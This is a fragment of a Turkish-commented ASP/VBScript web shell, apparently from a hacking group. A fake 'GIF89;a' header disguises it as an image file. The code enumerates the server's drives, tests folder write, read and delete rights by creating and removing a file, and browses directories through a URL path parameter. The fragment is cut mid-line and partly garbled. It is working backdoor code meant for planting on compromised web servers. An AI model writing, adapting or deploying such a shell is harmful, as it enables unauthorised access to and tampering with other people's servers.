GIF89;a
<%@Language = VbScript CodePage = 1254%>
<%
' ####
' ### Code Hunters TIM/Asi_besiktasli Tarafından Cyber-Warrior.Org için yazılmıştır. / 14.07.2011
' ### Misyon Dahilinde Kullanmanız Dileğiyle...
' ####
'Karakter Kodlaması
Session.CodePage=1254
%>
ROOT(Ana Klasör)")&vbcrlf
' Fso ile Serverdaki Sürücülere Ulaşıyoruz
Set Suruculer = FSO.Drives
If Not islem="Drivers" Then
Response.Write " ||
Sürücüler: "
' Serverda ki Mevcut Sürücüler Yazdırılıyor
For Each Surucu in Suruculer
Response.Write ("
"&Surucu.DriveLetter&":\ ")&vbcrlf
Next
End If
On Error GoTo 0
On Error Resume Next
Response.Write(" Klasör izinleri: ")
'Aşağıda önce geçici bir dosya oluşturacaz oluşturabiliyor ise yazma yetkisi var yazacak. Dosyayı okuyabiliyosa okuma yetkisi var yazacak. Dosyayı silebiliyorsa silme yetkisi var yazacak.
'Yazma Yetkisi
Set DosyaOlustur = Fso.CreateTextFile(Dizin & "\CodeHunters.txt", True)
Set DosyaOlustur = Nothing
'Hata verirse yazma yetkisi yok, Hata vermezse yazma yetkisi var
If Err<>0 then
Response.Write "Yazma Yetkisi Yok | "
Else
Response.Write "Yazma Yetkisi Var | "
End If
' Eğer Yazma Yetkisinde Hata verirse silme yetkisinde vermemesi için aşağıdaki kodları yazıyoruz
On Error GoTo 0
On Error Resume Next
'Okuma Yetkisi
'Dosyayı okumak için açıyoruz
'Hata verirse okuma yetkisi yok, Hata vermezse okuma yetkisi var
Set DosyaOku= Fso.OpenTextFile(Dizin & "\CodeHunters.txt")
Set DosyaOku=Nothing
If Err<>0 then
Response.Write "Okuma Yetkisi Yok | "
Else
Response.Write "Okuma Yetkisi Var | "
End If
On Error GoTo 0
On Error Resume Next
'Silme Yetkisi
'Oluşturulan Geçici Dosya Siliniyor
'Hata verirse silme yetkisi yok hata vermezse silme yetkisi var
Fso.DeleteFile Dizin&"\CodeHunters.txt",true
If Err<>0 then
Response.Write "Silme Yetkisi Yok "
Else
Response.Write "Silme Yetkisi Var "
End If
On Error GoTo 0
On Error Resume Next
Response.Write("
")&vbcrlf
' islem Değişkenine Göre Farklı Sayfalar Çıkarılıyor
Select Case islem
Case "git"
'Dizin formu bu sayfaya yollanıyor. Bu sayfada formdan gelen bilgiye göre kullanıcıyı yönlendiriyor
If Len(Request.Form("path"))>0 Then
Response.Redirect("?Path="&Request.Form("path"))
End If
Case ""
' Urlden alınan Path Hazır hale getiriliyor
Set Klasor = FSO.GetFolder(Path)
' Dizindeki Alt Klasörler Çekiliyor
Set AltKlasorler = Klasor.SubFolders
' Dizindeki Dosyalar Çekiliyor
Set Dosyalar = Klasor.Files
'Üst Klasör Varsa Link Ayarlanıyor
If Klasor.IsRootFolder = False Then
Set UstKlasor = Klasor.ParentFolder
Response.Write "